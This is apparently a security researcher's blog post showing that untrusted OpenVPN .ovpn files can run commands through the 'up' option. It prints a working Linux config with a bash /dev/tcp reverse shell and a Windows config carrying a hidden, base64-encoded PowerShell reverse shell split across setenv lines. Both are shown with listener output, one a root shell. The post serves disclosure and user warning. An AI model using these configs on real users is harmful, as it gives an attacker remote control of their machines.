While doing background research on OpenVPN I stumbled upon an interesting question on Stack Exchange.

The user doesn’t appear to be asking if it’s dangerous to use the free OpenVPN services. Instead, the user is asking if the .ovpn configuration files themselves pose some kind of risk. Since there was no satisfactory response I dug into this and I’ve concluded that, yes, untrusted ovpn files are quite dangerous.

Let’s start at the beginning. An ovpn file is a configuration file provided to the OpenVPN client or server. The file details everything about the VPN connection: which remote servers to connect to, the crypto to use, which protocols, the user to login as, etc.

At its most simple form, an ovpn file looks like the this:

remote 192.168.1.245

ifconfig 10.200.0.2 10.200.0.1

dev tun

This directs the client to connect to the server at 192.168.1.245 without authentication or encryption and establish the tun interface for communication between the client (10.200.0.2) and the server (10.200.0.1). For this blog, a three line example is useful, but real ovpn files can easily exceed hundreds of lines when more complicated features are used.

The OpenVPN configuration feature that this blog will focus on is the up command. This is how the manual describes it:

Run command cmd after successful TUN/TAP device open (pre — user UID change). cmd consists of a path to script (or executable program), optionally followed by arguments. The path and arguments may be single- or double-quoted and/or escaped using a backslash, and should be separated by one or more spaces.

Basically, the up command will execute any binary of script you point it to . If the victim is using a version of Bash that supports /dev/tcp then getting a reverse shell is trivial. The following ovpn file will background a reverse shell to 192.168.1.218:8181.

remote 192.168.1.245

ifconfig 10.200.0.2 10.200.0.1

dev tun

script-security 2

up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”

When this ovpn file is used it won’t be obvious to the user that something is wrong. The VPN connection is established normally and traffic flows. There are only two indications in the log that perhaps something is afoot. I’ve bolded them for easier reading:

Thu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server mode

Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018

Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08

Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts

Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!

Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 opened

Thu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0

Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500

Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init

Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194

Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194

Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194

Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194

Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this

Thu Jun 7 12:28:34 2018 Initialization Sequence Completed

Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:

albinolobster@ubuntu:~$ nc -lvp 8181

Listening on [0.0.0.0] (family 0, port 8181)

Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)

root@client:/home/client/openvpn# id

id

uid=0(root) gid=0(root) groups=0(root)

root@client:/home/client/openvpn#

Bash makes this attack easy on Linux distributions like Ubuntu. However, Windows doesn’t have an analogous /dev/tcp feature. We’ll have to work a little harder to generate a reverse shell from a Windows host.

Fortunately, Dave Kennedy of TrustedSec wrote a small powershell reverse shell that we can use. Using powershell.exe’s -EncodedCommand parameter we can pass the entire script on the command line. First, however, we’ll need to base64 encode the script to avoid having to insert escapes. Our old friend Carlos Perez has a script called ps_encoder.py that will do the encoding for us.

However, there is a problem. The encoded reverse shell script is over 4000 characters long and OpenVPN has a 256 character limitation. To get around this we can use the setenv command to split up the script and then recombine it in the up command. Consider the following ovpn file:

ifconfig 10.200.0.2 10.200.0.1

dev tun

remote 192.168.1.245

script-security 2

setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe

setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’

setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’

setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’

setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’

setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’

setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’

setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’

setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’

setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’

setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’

setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’

setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’

setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’

setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’

setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’

setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’

setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’

setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’

setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’

up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’

You can see the encoded script has been split over a number of setenv commands. At the very end, the script just runs all the environment variables together. Similar to our Linux example, there is a note about — script-security when the OpenVPN GUI first launches:

Again, even if a user notices that or understands the implications, it’s too late:

albinolobster@ubuntu:~$ nc -lvp 8181

Listening on [0.0.0.0] (family 0, port 8181)

Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)

Microsoft Windows [Version 10.0.17134.48]

© 2018 Microsoft Corporation. All rights reserved.

C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami

desktop-r5u6pvd\albinolobster

C:\Users\albinolobster\OpenVPN\config\albino_lobster>

Using untrusted ovpn files is dangerous. You are allowing a stranger to execute arbitrary commands on your computer. Some OpenVPN compatible clients like Viscosity and Ubuntu’s Network Manager GUI disable this behavior. However, after a long discussion with security@openvpn.net, it does not seem like this behavior will ever be removed from OpenVPN proper. As such, unless you know how to read ovpn files, I suggest you be very wary about the configuration files you are using.